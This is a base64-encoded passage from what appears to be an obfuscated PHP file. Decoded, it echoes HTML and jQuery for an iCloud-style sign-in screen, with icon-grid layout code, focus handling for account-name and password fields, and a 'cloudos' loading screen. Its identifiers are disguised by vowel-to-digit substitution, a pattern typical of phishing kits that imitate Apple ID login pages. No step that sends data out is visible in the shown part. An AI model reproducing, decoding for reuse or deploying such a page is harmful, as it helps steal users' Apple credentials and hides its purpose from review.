CIJCSQoXCIjNGMybl91XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fdVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5faVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5faVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9pXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5faVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fZVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqaSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fZVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fZVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fN1wiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzdcIikuY3NzKFwidDJwXCIsIHQycCArIDYwdSArIHI1cyAqIDYub3UgKyBpMCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fN1wiKS5jc3MoXCJ3NGR0aFwiLCByNXMpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzdcIikuY3NzKFwiaDU0Z2h0XCIsIHI1cyAqIDYub3UpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzhcIikuY3NzKFwibDVmdFwiLCBsNWZ0KzRudHI1K3I1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOFwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIGkwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl84XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOFwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqYSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIGkwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl85XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjBcIikuY3NzKFwibDVmdFwiLCBsNWZ0Kyg0bnRyNStyNXMpKm8pO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzYwXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91ICsgaTApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzYwXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjBcIikuY3NzKFwiaDU0Z2h0XCIsIHI1cyAqIDYub3UpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzY2XCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSp1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82NlwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIGkwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82NlwiKS5jc3MoXCJ3NGR0aFwiLCByNXMpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzY2XCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqaSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNmFcIikuY3NzKFwidDJwXCIsIHQycCArIDYwdSArIHI1cyAqIDYub3UgKyBpMCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNmFcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCSAgfVxuIjsNCjVjaDIgIgl9KTtcbiI7DQo1Y2gyICIJJCh3NG5kMncpLjJuKFwicjVzNHo1XCIsIGYzbmN0NDJuKCl7XG4iOw0KNWNoMiAiCSAgdjFyIHc0biA9ICQodGg0cyk7IC8vdGg0cyA9IHc0bmQyd1xuIjsNCjVjaDIgIgkgICQoXCIjZDR2NlwiKS5jc3MoXCJ3NGR0aFwiLCAkKHc0bmQydykudzRkdGgoKSk7XG4iOw0KNWNoMiAiCSAgJChcIiNkNHY2XCIpLmNzcyhcImg1NGdodFwiLCAkKHc0bmQydykuaDU0Z2h0KCkgLSB1dSk7XG4iOw0KNWNoMiAiCSAgJChcIiNkNHZfNGMyblwiKS5jc3MoXCJsNWZ0XCIsICQodzRuZDJ3KS53NGR0aCgpIC8gYSAtIDgwKTtcbiI7DQo1Y2gyICIJICAkKFwiI2Q0dl90NXh0XzZcIikuY3NzKFwibDVmdFwiLCAkKHc0bmQydykudzRkdGgoKSAvIGEgLSA2dWkpO1xuIjsNCjVjaDIgIgkgICQoXCIjZDR2X3Q1eHRfYVwiKS5jc3MoXCJsNWZ0XCIsICQodzRuZDJ3KS53NGR0aCgpIC8gYSAtIDc4KTtcbiI7DQo1Y2gyICIJICBcbiI7DQo1Y2gyICIJICB2MXIgcjVzID0gJCh3NG5kMncpLnc0ZHRoKCkgKiAwLjBpICsgYWk7XG4iOw0KNWNoMiAiCSAgdjFyIDRudHI1ID0gJCh3NG5kMncpLnc0ZHRoKCkgKiAwLjBhICsgYWk7XG4iOw0KNWNoMiAiCSAgdjFyIGw1ZnQgPSAoJCh3NG5kMncpLnc0ZHRoKCkgLSAocjVzICogZSArIDRudHI1ICogaSkpIC8gYTtcbiI7DQo1Y2gyICIJICB2MXIgdDJwID0gKCQodzRuZDJ3KS5oNTRnaHQoKSAtIChyNXMgKiA2Lm91ICsgcjVzICogNi5vdSArIDgwKSkgLyBhO1xuIjsNCjVjaDIgIgkgIHYxciBibDNyID0gJCh3NG5kMncpLnc0ZHRoKCkgKiAwLjBhICsgYTA7XG4iOw0KNWNoMiAiCSAgJChcIiNkNHY2XCIpLmNzcyhcImY0bHQ1clwiLCBcImJsM3IoXCIrYmwzcitcInB4KVwiKTtcbiI7DQo1Y2gyICIJICBcbiI7DQo1Y2gyICIJICA0ZiAoJCh3NG5kMncpLnc0ZHRoKCkgPD0gN2V1ICYmICQodzRuZDJ3KS53NGR0aCgpID4gdWEwKSB7XG4iOw0KNWNoMiAiCQl2MXIgbDVmdCA9ICgkKHc0bmQydykudzRkdGgoKSAtIChyNXMgKiB1ICsgNG50cjUgKiBvKSkgLyBhO1xuIjsNCjVjaDIgIgkJLy8gNiByMW5kIFxuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZcIikuY3NzKFwibDVmdFwiLCBsNWZ0KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82XCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9hXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCArIDRudHI1ICsgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9hXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2FcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9hXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9vXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCArICg0bnRyNSArIHI1cykgKiBhKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9vXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX29cIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9vXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl91XCIpLmNzcyhcImw1ZnRcIiwgbDVmdCArICg0bnRyNSArIHI1cykgKiBvKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl91XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX3VcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl91XCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCS8vIGEgcjFuZCBcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9pXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5faVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIDgwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9pXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5faVwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fZVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrNG50cjUrcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91ICsgODApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2VcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl83XCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSphKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl83XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91ICsgODApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzdcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl83XCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl84XCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSpvKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl84XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91aSArIDgwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl84XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOFwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkvLyBvIHIxbmQgXG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzlcIikuY3NzKFwidDJwXCIsIHQycCArIDYwdSArIHI1cyAqIDYub3UgKyA4MCArIHI1cyAqIDYub3UgKyA4MCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOVwiKS5jc3MoXCJ3NGR0aFwiLCByNXMpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzlcIikuY3NzKFwiaDU0Z2h0XCIsIHI1cyAqIDYub3UpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzYwXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCArIDRudHI1ICsgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82MFwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIDgwICsgcjVzICogNi5vdSArIDgwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82MFwiKS5jc3MoXCJ3NGR0aFwiLCByNXMpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzYwXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82NlwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqYSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjZcIikuY3NzKFwidDJwXCIsIHQycCArIDYwdSArIHI1cyAqIDYub3UgKyA4MCArIHI1cyAqIDYub3UgKyA4MCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjZcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82NlwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNmFcIikuY3NzKFwibDVmdFwiLCBsNWZ0Kyg0bnRyNStyNXMpKm8pO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZhXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91ICsgODAgKyByNXMgKiA2Lm91ICsgODApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZhXCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNmFcIikuY3NzKFwiaDU0Z2h0XCIsIHI1cyAqIDYub3UpO1xuIjsNCjVjaDIgIgkgIH0gNWxzNSA0ZiAoJCh3NG5kMncpLnc0ZHRoKCkgPD0gdTZhKXtcbiI7DQo1Y2gyICIJCS8vIDFsNXJ0KFwiTU9CSUxFXCIpO1xuIjsNCjVjaDIgIgkJdjFyIGw1ZnQgPSAoJCh3NG5kMncpLnc0ZHRoKCkgLSAoZTAgKiBvICsgbzAgKiBhKSkgLyBhO1xuIjsNCjVjaDIgIgkJJChcIiNkNHZfNGMyblwiKS5jc3MoXCJsNWZ0XCIsICQodzRuZDJ3KS53NGR0aCgpIC8gYSAtIHVhKTtcbiI7DQo1Y2gyICIJCSQoXCIjZDR2XzRjMm5cIikuY3NzKFwidzRkdGhcIiwgNzgpO1xuIjsNCjVjaDIgIgkJJChcIiNkNHZfNGMyblwiKS5jc3MoXCJoNTRnaHRcIiwgNzgpO1xuIjsNCjVjaDIgIgkJJChcIiNkNHZfNGMyblwiKS5jc3MoXCJ0MnBcIiwgNmUwKTtcbiI7DQo1Y2gyICIJCSQoXCIjZDR2X3Q1eHRfNlwiKS5jc3MoXCJsNWZ0XCIsICQodzRuZDJ3KS53NGR0aCgpIC8gYSAtIDZ1aSk7XG4iOw0KNWNoMiAiCQkkKFwiI2Q0dl90NXh0X2FcIikuY3NzKFwibDVmdFwiLCAkKHc0bmQydykudzRkdGgoKSAvIGEgLSA3OCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNlwiKS4xZGRDbDFzcyhcImg0ZDVcIik7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fYVwiKS4xZGRDbDFzcyhcImg0ZDVcIik7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fb1wiKS4xZGRDbDFzcyhcImg0ZDVcIik7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fdVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX3VcIikuY3NzKFwidDJwXCIsIHQycCArIDYwdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fdVwiKS5jc3MoXCJ3NGR0aFwiLCBlMCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fdVwiKS5jc3MoXCJoNTRnaHRcIiwgOHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2lcIikuMWRkQ2wxc3MoXCJoNGQ1XCIpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2VcIikuY3NzKFwibDVmdFwiLCBsNWZ0K2UwK28wKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2VcIikuY3NzKFwidzRkdGhcIiwgZTApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2VcIikuY3NzKFwiaDU0Z2h0XCIsIDh1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrZTArbzArZTArbzApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZhXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZhXCIpLmNzcyhcInc0ZHRoXCIsIGUwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJoNTRnaHRcIiwgOHUpO1xuIjsNCjVjaDIgIglcbiI7DQo1Y2gyICIJICB9IDVsczUge1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZcIikuY3NzKFwibDVmdFwiLCBsNWZ0KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82XCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9hXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCArIDRudHI1ICsgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9hXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2FcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9hXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9vXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSphKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9vXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX29cIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9vXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl91XCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSpvKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl91XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX3VcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl91XCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9pXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSp1KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9pXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2lcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9pXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSppKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuX2VcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl9lXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl83XCIpLmNzcyhcImw1ZnRcIiwgbDVmdCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fN1wiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIGkwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl83XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fN1wiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fOFwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrNG50cjUrcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl84XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91ICsgaTApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzhcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl84XCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl85XCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSphKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl85XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91ICsgaTApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzlcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl85XCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82MFwiKS5jc3MoXCJsNWZ0XCIsIGw1ZnQrKDRudHI1K3I1cykqbyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjBcIikuY3NzKFwidDJwXCIsIHQycCArIDYwdSArIHI1cyAqIDYub3UgKyBpMCk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjBcIikuY3NzKFwidzRkdGhcIiwgcjVzKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82MFwiKS5jc3MoXCJoNTRnaHRcIiwgcjVzICogNi5vdSk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjZcIikuY3NzKFwibDVmdFwiLCBsNWZ0Kyg0bnRyNStyNXMpKnUpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzY2XCIpLmNzcyhcInQycFwiLCB0MnAgKyA2MHUgKyByNXMgKiA2Lm91ICsgaTApO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzY2XCIpLmNzcyhcInc0ZHRoXCIsIHI1cyk7XG4iOw0KNWNoMiAiCQkkKFwiIzRjMm5fNjZcIikuY3NzKFwiaDU0Z2h0XCIsIHI1cyAqIDYub3UpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZhXCIpLmNzcyhcImw1ZnRcIiwgbDVmdCsoNG50cjUrcjVzKSppKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJ0MnBcIiwgdDJwICsgNjB1ICsgcjVzICogNi5vdSArIGkwKTtcbiI7DQo1Y2gyICIJCSQoXCIjNGMybl82YVwiKS5jc3MoXCJ3NGR0aFwiLCByNXMpO1xuIjsNCjVjaDIgIgkJJChcIiM0YzJuXzZhXCIpLmNzcyhcImg1NGdodFwiLCByNXMgKiA2Lm91KTtcbiI7DQo1Y2gyICIJICB9XG4iOw0KNWNoMiAiCX0pOzwvc2NyNHB0PlxuIjsNCjVjaDIgIgk8c2NyNHB0PlxuIjsNCjVjaDIgIgkJJChkMmMzbTVudCkuY2w0Y2soZjNuY3Q0Mm4oNXZ0KSB7XG4iOw0KNWNoMiAiCQkgICA0ZighJCg1dnQudDFyZzV0KS40cyhcIi5mMnJtLXQ1eHRiMnhcIikpIHtcbiI7DQo1Y2gyICIJCQkvLzV2NW50IGgxbmRsNG5nIGMyZDVcbiI7DQo1Y2gyICIJCQkkKFwiI3YyX2IycmQ1clwiKS5yNW0ydjVDbDFzcyhcInAxc3N3MnJkLWYyYzNzXCIpO1xuIjsNCjVjaDIgIgkJCSQoXCIjdjJfYjJyZDVyXCIpLnI1bTJ2NUNsMXNzKFwiMXBwbDUtNGQtZjJjM3NcIik7XG4iOw0KNWNoMiAiCQkJJChcIiNzNXAxcjF0MnJcIikucjVtMnY1Q2wxc3MoXCJwMXNzdzJyZC1mMmMzc1wiKTtcbiI7DQo1Y2gyICIJCQkkKFwiI3M1cDFyMXQyclwiKS5yNW0ydjVDbDFzcyhcIjFwcGw1LTRkLWYyYzNzXCIpO1xuIjsNCjVjaDIgIgkJCSQoXCIjMWNjMjNudF9uMW01X3Q1eHRfZjQ1bGRcIikuYmwzcigpO1xuIjsNCjVjaDIgIgkJCSQoXCIjcDFzc3cycmRfdDV4dF9mNDVsZFwiKS5ibDNyKCk7XG4iOw0KNWNoMiAiCQkgIH1cbiI7DQo1Y2gyICIJCX0pO1xuIjsNCjVjaDIgIgkJPC9zY3I0cHQ+XG4iOw0KNWNoMiAiCQk8c2NyNHB0PlxuIjsNCjVjaDIgIgkJJChkMmMzbTVudCkuMm4oXCJ0MjNjaHN0MXJ0XCIsIGYzbmN0NDJuKDV2dCkge1xuIjsNCjVjaDIgIgkJICAgNGYoISQoNXZ0LnQxcmc1dCkuNHMoXCIuZjJybS10NXh0YjJ4XCIpKSB7XG4iOw0KNWNoMiAiCQkJLy81djVudCBoMW5kbDRuZyBjMmQ1XG4iOw0KNWNoMiAiCQkJJChcIiN2Ml9iMnJkNXJcIikucjVtMnY1Q2wxc3MoXCJwMXNzdzJyZC1mMmMzc1wiKTtcbiI7DQo1Y2gyICIJCQkkKFwiI3YyX2IycmQ1clwiKS5yNW0ydjVDbDFzcyhcIjFwcGw1LTRkLWYyYzNzXCIpO1xuIjsNCjVjaDIgIgkJCSQoXCIjczVwMXIxdDJyXCIpLnI1bTJ2NUNsMXNzKFwicDFzc3cycmQtZjJjM3NcIik7XG4iOw0KNWNoMiAiCQkJJChcIiNzNXAxcjF0MnJcIikucjVtMnY1Q2wxc3MoXCIxcHBsNS00ZC1mMmMzc1wiKTtcbiI7DQo1Y2gyICIJCS8vICAgICAgICAkKFwiIzFjYzIzbnRfbjFtNV90NXh0X2Y0NWxkXCIpLmJsM3IoKTtcbiI7DQo1Y2gyICIJCS8vICAgICAgICAkKFwiI3Axc3N3MnJkX3Q1eHRfZjQ1bGRcIikuYmwzcigpO1xuIjsNCjVjaDIgIgkJICB9XG4iOw0KNWNoMiAiCQl9KTtcbiI7DQo1Y2gyICIJCTwvc2NyNHB0PlxuIjsNCjVjaDIgIgk8L2g1MWQ+XG4iOw0KNWNoMiAiCVxuIjsNCjVjaDIgIgk8YjJkeSBjbDFzcz1cInRrLWIyZHkgXCI+XG4iOw0KNWNoMiAiCSAgPGQ0diBjbDFzcz1cImNsMjNkMnMtbDIxZDRuZy1zY3I1NW5cIiA0ZD1cImN3LWIyMnRzdHIxcC1odG1sXCI+XG4iOw0KNWNoMiAiCQk8ZDR2IGNsMXNzPVwiaDUxZDVyXCIgNGQ9XCJjbDIzZDJzLWwyMWQ0bmctc2NyNTVuLWg1MWQ1clwiPlxuIjsNCjVjaDIgIgkJCTxkNHYgY2wxc3M9XCI0Y2wyM2QtbDJnMi13cjFwcDVyXCI+XG4iOw0KNWNoMiAiCQkJCTxkNHYgY2wxc3M9XCJkNHYtd3IxcHA0bm